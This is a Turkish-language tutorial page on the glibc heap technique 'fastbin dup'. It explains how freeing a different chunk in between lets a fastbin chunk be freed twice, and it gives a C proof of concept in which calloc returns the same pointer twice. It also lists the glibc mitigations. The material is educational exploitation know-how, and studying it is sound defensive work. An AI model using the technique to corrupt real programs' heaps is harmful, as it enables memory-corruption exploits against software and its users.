fastbin dup¶
Bir fastbin chunk'ını double-free ederek aynı pointer'ın iki kez verilmesini sağla.
Mechanism¶
Fastbin free path'inin yalnızca shallow bir double-free guard'ı vardır: bir
free'yi yalnızca chunk fastbin listesinin mevcut head'ine eşitse reddeder
("double free or corruption (fasttop)"). Arada farklı bir chunk free ederek target
artık head olmaz, dolayısıyla onun ikinci bir free'si kabul edilir. Fastbin o zaman
aynı chunk'ı iki kez içerir ve sonraki iki allocation aynı pointer'ı döndürür.
Note
glibc >= 2.26'da, free'lerin fastbin'e düşmesi için önce o size class için
7-entry'lik tcache'i doldurmalısın (tcache double-free key check'i ayrıdır).
how2heap 2.35 PoC'si malloc(8) x8 ardından free x7 ile ısınır.
Walkthrough¶
// glibc >= 2.26: once tcache'i doldur ki asagidaki free'ler fastbin'e dussun
void *ptrs[8];
for (int i = 0; i < 8; i++) ptrs[i] = malloc(8);
for (int i = 0; i < 7; i++) free(ptrs[i]); // 7-entry tcache full
int *a = calloc(1, 8); // calloc tcache'ten servis etmez -> temiz chunk
int *b = calloc(1, 8);
free(a);
// free(a) again here would crash: a is the head of the fastbin
free(b); // a is no longer the head
free(a); // ACCEPTED -> list is now [ a, b, a ]
a = calloc(1, 8); // returns a
b = calloc(1, 8); // returns b
int *c = calloc(1, 8); // returns a AGAIN
assert(a == c);
Beklenen çıktı: 1. ve 3. calloc aynı adresi yazar; assert(a == c) geçer ("If
we malloc 3 times, we'll get [a] twice!"). a ve c'nin alias'lanması overlapping
allocation'lar verir; free edilmiş chunk'ın fd'sini overwrite etmek bunu bir
arbitrary-allocation primitive'ine genişletir (bkz. fastbin-dup-into-stack).
Mitigation¶
fasttop head check'i (kısmî); glibc tcache key field'ı (2.29+) tcache
karşılığını bloklar; safe-linking (2.32+) fd'yi mangle eder, dolayısıyla onu
hedeflemek için bir leak gerekir. tcache bir kez dolduğunda hiçbiri fastbin dup'ı tam
olarak durdurmaz.